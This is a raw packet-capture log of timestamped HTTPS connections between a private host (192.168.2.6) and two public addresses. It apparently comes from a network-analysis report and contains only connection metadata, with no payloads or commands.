Nov 18, 2024 02:34:48.563415051 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.563477993 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.563565016 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.563582897 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.563635111 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.570610046 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.570643902 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.571058035 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.571079969 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.571520090 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.571538925 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.571552992 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.571561098 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.576299906 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.576328039 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.576508045 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.576704025 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.576709032 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.694588900 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.694664955 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.694725990 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.695336103 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.695357084 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.702133894 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.702176094 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.702392101 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.703546047 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.703562021 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.849086046 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.871674061 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.901391029 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.917002916 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.937443018 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.937454939 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.937891006 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.937896967 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.938186884 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.938193083 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.938782930 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.938787937 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.987848997 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.031683922 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.031701088 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.032164097 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.032171011 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.065002918 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.065052986 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.065112114 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.065138102 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.065166950 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.065188885 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.065205097 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.065210104 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.065217018 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.065260887 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.065416098 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.097522020 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.097539902 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.098193884 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.098201036 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.099730015 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.099739075 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.099750042 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.099754095 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.163144112 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.163177013 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.163330078 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.165206909 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.165235996 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.165364981 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.203208923 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.203248024 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.203298092 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.203351021 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.203406096 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.273796082 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.273813009 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.273964882 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.273983955 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.310283899 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.354517937 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.433206081 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.479543924 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.632211924 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.632236958 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.632249117 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.632257938 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.866730928 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.866755962 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.867335081 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.867341042 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.908288956 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.908313036 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.908734083 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.908740044 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.995497942 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.995587111 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:49.995660067 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:49.997297049 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.000320911 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.000320911 CET	49973	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.000339985 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.000351906 CET	443	49973	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.001566887 CET	49977	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.001606941 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.001666069 CET	49977	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.002098083 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.002105951 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.002537966 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.002542973 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.004956961 CET	49977	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.004971027 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.005883932 CET	49978	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.005906105 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.005981922 CET	49978	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.006287098 CET	49978	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.006303072 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.033196926 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.033230066 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.033283949 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.033287048 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.033322096 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.035944939 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.035962105 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.035974979 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.035981894 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.044023991 CET	49979	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.044039011 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.044091940 CET	49979	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.045223951 CET	49979	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.045239925 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.087295055 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.088032961 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.088042974 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.088864088 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.088869095 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.130141973 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.130713940 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.130759001 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.130764961 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.130800962 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.130856991 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.134455919 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.134464979 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.134485960 CET	49976	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.134491920 CET	443	49976	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.147006989 CET	49980	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.147058964 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.147118092 CET	49980	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.147289991 CET	49980	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.147306919 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.215811968 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.216017008 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.216067076 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.236133099 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.236148119 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.239559889 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.239636898 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.239710093 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.239844084 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.239862919 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.734524965 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.735661030 CET	49977	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.735680103 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.736505985 CET	49977	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.736512899 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.775381088 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.776134014 CET	49979	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.776164055 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.776787043 CET	49979	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.776792049 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.833039999 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.833543062 CET	49978	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.833559990 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.834006071 CET	49978	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.834012985 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.866184950 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.866269112 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.866476059 CET	49977	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.866506100 CET	49977	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.866520882 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.866529942 CET	49977	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.866534948 CET	443	49977	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.869103909 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.869174957 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.869262934 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.869478941 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.869512081 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.879844904 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.880410910 CET	49980	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.880487919 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.880835056 CET	49980	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.880847931 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.903789043 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.904206991 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.907372952 CET	49979	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.911969900 CET	49979	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.911986113 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.911994934 CET	49979	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.911999941 CET	443	49979	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.914832115 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.914839029 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.914905071 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.915091991 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.915103912 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.966670036 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.966717958 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.966772079 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.966862917 CET	49978	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.967684984 CET	49978	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.967700005 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.967715025 CET	49978	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.967720985 CET	443	49978	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.971240044 CET	49985	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.971333027 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.975420952 CET	49985	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.975545883 CET	49985	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.975572109 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.979090929 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.979640961 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.979691029 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:50.980038881 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:50.980051994 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.009998083 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.010027885 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.010065079 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.010142088 CET	49980	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.010298967 CET	49980	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.010298967 CET	49980	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.010328054 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.010349989 CET	443	49980	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.015499115 CET	49986	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.015511036 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.019192934 CET	49986	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.019347906 CET	49986	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.019367933 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.112119913 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.112164021 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.115089893 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.115329981 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.115329981 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.115353107 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.115390062 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.117866039 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.117902040 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.117988110 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.118112087 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.118124962 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.581361055 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:51.581443071 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:51.583600044 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:51.602221966 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.602732897 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.602782011 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.603200912 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.603208065 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.640510082 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.640914917 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.640949011 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.641252995 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.641258955 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.719022989 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.719536066 CET	49985	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.719605923 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.719907999 CET	49985	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.719923019 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.736097097 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.736181021 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.736253023 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.736423016 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.736423016 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.736440897 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.736449957 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.739039898 CET	49988	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.739070892 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.739156008 CET	49988	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.739299059 CET	49988	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.739316940 CET	443	49988	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.756493092 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.756901979 CET	49986	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.756912947 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.757278919 CET	49986	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.757282972 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.769768000 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.770286083 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.770340919 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.770351887 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.770387888 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.770433903 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.770440102 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.770450115 CET	49984	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.770454884 CET	443	49984	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.772660971 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.772735119 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.772811890 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.772947073 CET	49989	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.772964001 CET	443	49989	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.844805956 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.845410109 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.845493078 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.845854044 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.845869064 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.848239899 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.848386049 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.848467112 CET	49985	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.848521948 CET	49985	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.848521948 CET	49985	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.848553896 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.848579884 CET	443	49985	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.851172924 CET	49990	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.851201057 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.851274967 CET	49990	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.851397038 CET	49990	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.851413012 CET	443	49990	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.887271881 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.887353897 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.887417078 CET	49986	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.887522936 CET	49986	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.887547016 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.887557983 CET	49986	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.887563944 CET	443	49986	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.889877081 CET	49991	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.889940023 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.890032053 CET	49991	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.890217066 CET	49991	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.890232086 CET	443	49991	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.974186897 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.974211931 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.974256992 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.974315882 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.974373102 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.975157976 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.975157976 CET	49987	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.975200891 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.975229025 CET	443	49987	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.978424072 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.978435040 CET	443	49992	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:51.978498936 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.978732109 CET	49992	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:51.978743076 CET	443	49992	13.107.246.45	192.168.2.6
